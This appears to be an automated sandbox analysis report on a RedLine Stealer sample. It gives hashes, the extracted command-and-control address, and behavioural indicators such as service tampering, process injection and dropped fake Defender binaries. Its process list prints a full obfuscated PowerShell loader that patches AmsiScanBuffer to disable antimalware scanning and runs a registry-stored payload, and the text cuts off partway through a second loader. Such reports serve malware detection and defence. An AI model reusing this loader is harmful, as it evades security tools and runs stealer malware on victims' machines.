Analysis
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max time kernel
47s -
max time network
97s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
03-01-2023 00:47
Static task
static1
Behavioral task
behavioral1
Sample
b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe
Resource
win10v2004-20221111-en
General
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Target
b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe
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Size
119KB
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MD5
d9a2313ebd1f9d41687e127028bc230e
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SHA1
b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1
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SHA256
a5d8eac92699a2e8870775b0eb150bb3fdedf4e86f6b0a26a122ad5f7e9fd3c2
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SHA512
4ee00a77199e82d63967f9731a5dd101f2dcec52584337dff306c2d5b71dfa4d83ac473617da0b022d301f8878b5cd835b18a35603fbe9dd7682064dc30264be
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SSDEEP
3072:EcJw0ADKnZ1bEGSzLu1XlEWb3MeUn3PAngc13Aa99sXcc:/W3IZ1bgQlExeUcN99sXcc
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/2592-177-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 220 created 2744 220 SmartDefRun.exe 67 PID 220 created 2744 220 SmartDefRun.exe 67 PID 220 created 2744 220 SmartDefRun.exe 67 PID 220 created 2744 220 SmartDefRun.exe 67 PID 1652 created 620 1652 powershell.EXE 5 -
Blocklisted process makes network request 1 IoCs
flow pid Process 7 4500 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 3924 C4Loader.exe 4480 new2.exe 2284 SysApp.exe 220 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4816 set thread context of 3332 4816 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 83 PID 4480 set thread context of 2592 4480 new2.exe 99 PID 220 set thread context of 4968 220 SmartDefRun.exe 118 PID 1652 set thread context of 2400 1652 powershell.EXE 123 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2108 sc.exe 404 sc.exe 4852 sc.exe 1156 sc.exe 2604 sc.exe -
Program crash 4 IoCs
pid pid_target Process procid_target 4160 4816 WerFault.exe 81 2144 4816 WerFault.exe 81 1476 4816 WerFault.exe 81 2344 4480 WerFault.exe 93 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE -
Suspicious behavior: EnumeratesProcesses 51 IoCs
pid Process 4500 powershell.exe 4500 powershell.exe 2284 SysApp.exe 2284 SysApp.exe 2284 SysApp.exe 2284 SysApp.exe 2284 SysApp.exe 2284 SysApp.exe 2284 SysApp.exe 2284 SysApp.exe 2284 SysApp.exe 2284 SysApp.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 3400 powershell.exe 3400 powershell.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 812 powershell.exe 812 powershell.exe 220 SmartDefRun.exe 220 SmartDefRun.exe 1652 powershell.EXE 2920 powershell.EXE 1652 powershell.EXE 2920 powershell.EXE 1652 powershell.EXE 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe 2400 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4500 powershell.exe Token: SeDebugPrivilege 3400 powershell.exe Token: SeDebugPrivilege 812 powershell.exe Token: SeIncreaseQuotaPrivilege 812 powershell.exe Token: SeSecurityPrivilege 812 powershell.exe Token: SeTakeOwnershipPrivilege 812 powershell.exe Token: SeLoadDriverPrivilege 812 powershell.exe Token: SeSystemProfilePrivilege 812 powershell.exe Token: SeSystemtimePrivilege 812 powershell.exe Token: SeProfSingleProcessPrivilege 812 powershell.exe Token: SeIncBasePriorityPrivilege 812 powershell.exe Token: SeCreatePagefilePrivilege 812 powershell.exe Token: SeBackupPrivilege 812 powershell.exe Token: SeRestorePrivilege 812 powershell.exe Token: SeShutdownPrivilege 812 powershell.exe Token: SeDebugPrivilege 812 powershell.exe Token: SeSystemEnvironmentPrivilege 812 powershell.exe Token: SeRemoteShutdownPrivilege 812 powershell.exe Token: SeUndockPrivilege 812 powershell.exe Token: SeManageVolumePrivilege 812 powershell.exe Token: 33 812 powershell.exe Token: 34 812 powershell.exe Token: 35 812 powershell.exe Token: 36 812 powershell.exe Token: SeIncreaseQuotaPrivilege 812 powershell.exe Token: SeSecurityPrivilege 812 powershell.exe Token: SeTakeOwnershipPrivilege 812 powershell.exe Token: SeLoadDriverPrivilege 812 powershell.exe Token: SeSystemProfilePrivilege 812 powershell.exe Token: SeSystemtimePrivilege 812 powershell.exe Token: SeProfSingleProcessPrivilege 812 powershell.exe Token: SeIncBasePriorityPrivilege 812 powershell.exe Token: SeCreatePagefilePrivilege 812 powershell.exe Token: SeBackupPrivilege 812 powershell.exe Token: SeRestorePrivilege 812 powershell.exe Token: SeShutdownPrivilege 812 powershell.exe Token: SeDebugPrivilege 812 powershell.exe Token: SeSystemEnvironmentPrivilege 812 powershell.exe Token: SeRemoteShutdownPrivilege 812 powershell.exe Token: SeUndockPrivilege 812 powershell.exe Token: SeManageVolumePrivilege 812 powershell.exe Token: 33 812 powershell.exe Token: 34 812 powershell.exe Token: 35 812 powershell.exe Token: 36 812 powershell.exe Token: SeIncreaseQuotaPrivilege 812 powershell.exe Token: SeSecurityPrivilege 812 powershell.exe Token: SeTakeOwnershipPrivilege 812 powershell.exe Token: SeLoadDriverPrivilege 812 powershell.exe Token: SeSystemProfilePrivilege 812 powershell.exe Token: SeSystemtimePrivilege 812 powershell.exe Token: SeProfSingleProcessPrivilege 812 powershell.exe Token: SeIncBasePriorityPrivilege 812 powershell.exe Token: SeCreatePagefilePrivilege 812 powershell.exe Token: SeBackupPrivilege 812 powershell.exe Token: SeRestorePrivilege 812 powershell.exe Token: SeShutdownPrivilege 812 powershell.exe Token: SeDebugPrivilege 812 powershell.exe Token: SeSystemEnvironmentPrivilege 812 powershell.exe Token: SeRemoteShutdownPrivilege 812 powershell.exe Token: SeUndockPrivilege 812 powershell.exe Token: SeManageVolumePrivilege 812 powershell.exe Token: 33 812 powershell.exe Token: 34 812 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4816 wrote to memory of 3332 4816 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 83 PID 4816 wrote to memory of 3332 4816 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 83 PID 4816 wrote to memory of 3332 4816 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 83 PID 4816 wrote to memory of 3332 4816 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 83 PID 4816 wrote to memory of 3332 4816 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 83 PID 3332 wrote to memory of 4500 3332 vbc.exe 86 PID 3332 wrote to memory of 4500 3332 vbc.exe 86 PID 3332 wrote to memory of 4500 3332 vbc.exe 86 PID 4500 wrote to memory of 3924 4500 powershell.exe 92 PID 4500 wrote to memory of 3924 4500 powershell.exe 92 PID 4500 wrote to memory of 3924 4500 powershell.exe 92 PID 4500 wrote to memory of 4480 4500 powershell.exe 93 PID 4500 wrote to memory of 4480 4500 powershell.exe 93 PID 4500 wrote to memory of 4480 4500 powershell.exe 93 PID 4500 wrote to memory of 2284 4500 powershell.exe 94 PID 4500 wrote to memory of 2284 4500 powershell.exe 94 PID 4500 wrote to memory of 2284 4500 powershell.exe 94 PID 4500 wrote to memory of 220 4500 powershell.exe 95 PID 4500 wrote to memory of 220 4500 powershell.exe 95 PID 4480 wrote to memory of 2592 4480 new2.exe 99 PID 4480 wrote to memory of 2592 4480 new2.exe 99 PID 4480 wrote to memory of 2592 4480 new2.exe 99 PID 4480 wrote to memory of 2592 4480 new2.exe 99 PID 4480 wrote to memory of 2592 4480 new2.exe 99 PID 3608 wrote to memory of 1156 3608 cmd.exe 108 PID 3608 wrote to memory of 1156 3608 cmd.exe 108 PID 3608 wrote to memory of 2604 3608 cmd.exe 109 PID 3608 wrote to memory of 2604 3608 cmd.exe 109 PID 3608 wrote to memory of 2108 3608 cmd.exe 110 PID 3608 wrote to memory of 2108 3608 cmd.exe 110 PID 3608 wrote to memory of 404 3608 cmd.exe 111 PID 3608 wrote to memory of 404 3608 cmd.exe 111 PID 3608 wrote to memory of 4852 3608 cmd.exe 112 PID 3608 wrote to memory of 4852 3608 cmd.exe 112 PID 3608 wrote to memory of 3956 3608 cmd.exe 113 PID 3608 wrote to memory of 3956 3608 cmd.exe 113 PID 3608 wrote to memory of 4068 3608 cmd.exe 114 PID 3608 wrote to memory of 4068 3608 cmd.exe 114 PID 3608 wrote to memory of 3564 3608 cmd.exe 115 PID 3608 wrote to memory of 3564 3608 cmd.exe 115 PID 3608 wrote to memory of 4856 3608 cmd.exe 116 PID 3608 wrote to memory of 4856 3608 cmd.exe 116 PID 3608 wrote to memory of 4772 3608 cmd.exe 117 PID 3608 wrote to memory of 4772 3608 cmd.exe 117 PID 220 wrote to memory of 4968 220 SmartDefRun.exe 118 PID 1652 wrote to memory of 2400 1652 powershell.EXE 123 PID 1652 wrote to memory of 2400 1652 powershell.EXE 123 PID 1652 wrote to memory of 2400 1652 powershell.EXE 123 PID 1652 wrote to memory of 2400 1652 powershell.EXE 123 PID 1652 wrote to memory of 2400 1652 powershell.EXE 123 PID 1652 wrote to memory of 2400 1652 powershell.EXE 123 PID 1652 wrote to memory of 2400 1652 powershell.EXE 123 PID 1652 wrote to memory of 2400 1652 powershell.EXE 123 PID 1652 wrote to memory of 2400 1652 powershell.EXE 123 PID 2400 wrote to memory of 620 2400 dllhost.exe 5 PID 2400 wrote to memory of 676 2400 dllhost.exe 4 PID 2400 wrote to memory of 960 2400 dllhost.exe 10 PID 2400 wrote to memory of 336 2400 dllhost.exe 11 PID 2400 wrote to memory of 428 2400 dllhost.exe 12 PID 2400 wrote to memory of 420 2400 dllhost.exe 13 PID 2400 wrote to memory of 1036 2400 dllhost.exe 17 PID 2400 wrote to memory of 1044 2400 dllhost.exe 18 PID 2400 wrote to memory of 1072 2400 dllhost.exe 19 PID 2400 wrote to memory of 1180 2400 dllhost.exe 20
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:336
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ad299408-e545-49c2-89d4-409d98061bdb}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:428
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:420
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1072
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2760
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:tonUuUXcwjrG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qgpRxRHGTQcfbm,[Parameter(Position=1)][Type]$HOaXhUdGNt)$GhFPBFIVOxL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+''+'m'+'ory'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+[Char](121)+'Del'+[Char](101)+'g'+'a'+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+','+'P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'Se'+'a'+''+'l'+''+[Char](101)+'d'+[Char](44)+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+'u'+'t'+'o'+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$GhFPBFIVOxL.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+'p'+''+'e'+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+'am'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+','+''+[Char](80)+'ubl'+'i'+'c',[Reflection.CallingConventions]::Standard,$qgpRxRHGTQcfbm).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+'t'+''+'i'+''+'m'+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');$GhFPBFIVOxL.DefineMethod('I'+[Char](110)+'vo'+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+'N'+''+[Char](101)+'w'+[Char](83)+'l'+'o'+''+[Char](116)+''+','+'V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$HOaXhUdGNt,$qgpRxRHGTQcfbm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+'me'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $GhFPBFIVOxL.CreateType();}$QqKzsZtTqBNnG=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+'.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'oft.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+'.'+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+'Q'+''+[Char](113)+''+'K'+''+'z'+''+[Char](115)+''+'Z'+'t'+[Char](84)+'q'+'B'+''+'N'+'n'+'G'+'');$GdZhvVPYpQlEiU=$QqKzsZtTqBNnG.GetMethod('G'+[Char](100)+''+[Char](90)+'h'+'v'+'VP'+[Char](89)+''+[Char](112)+''+[Char](81)+''+[Char](108)+'E'+'i'+''+[Char](85)+'',[Reflection.BindingFlags]'P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+'i'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YxDSotPzvPZJNkgGXQa=tonUuUXcwjrG @([String])([IntPtr]);$nfAnilpiKnGjyYXjEhUwDg=tonUuUXcwjrG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IuQBmfskxch=$QqKzsZtTqBNnG.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'M'+'o'+'d'+''+'u'+''+[Char](108)+'eH'+[Char](97)+''+[Char](110)+'dl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+''+'e'+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+'dl'+'l'+'')));$OXLtoCBBTCNGQg=$GdZhvVPYpQlEiU.Invoke($Null,@([Object]$IuQBmfskxch,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+'ib'+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$GLybTNBhMrByFDfRF=$GdZhvVPYpQlEiU.Invoke($Null,@([Object]$IuQBmfskxch,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+'o'+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$nPUZxeu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OXLtoCBBTCNGQg,$YxDSotPzvPZJNkgGXQa).Invoke(''+'a'+''+[Char](109)+'s'+'i'+''+'.'+''+[Char](100)+'l'+'l'+'');$WFIYtSMCkodSILgHY=$GdZhvVPYpQlEiU.Invoke($Null,@([Object]$nPUZxeu,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+'c'+''+[Char](97)+''+[Char](110)+''+'B'+''+'u'+''+'f'+''+'f'+'e'+[Char](114)+'')));$AsVgAsbFCP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GLybTNBhMrByFDfRF,$nfAnilpiKnGjyYXjEhUwDg).Invoke($WFIYtSMCkodSILgHY,[uint32]8,4,[ref]$AsVgAsbFCP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$WFIYtSMCkodSILgHY,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GLybTNBhMrByFDfRF,$nfAnilpiKnGjyYXjEhUwDg).Invoke($WFIYtSMCkodSILgHY,[uint32]8,0x20,[ref]$AsVgAsbFCP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](100)+''+'i'+'ale'+'r'+''+[Char](115)+''+[Char](116)+'ag'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2920 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4372
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DpneBNkanGDI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ibXLGyZlevDZCV,[Parameter(Position=1)][Type]$hOKkiCfJpc)$sZltHPKNvtG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object 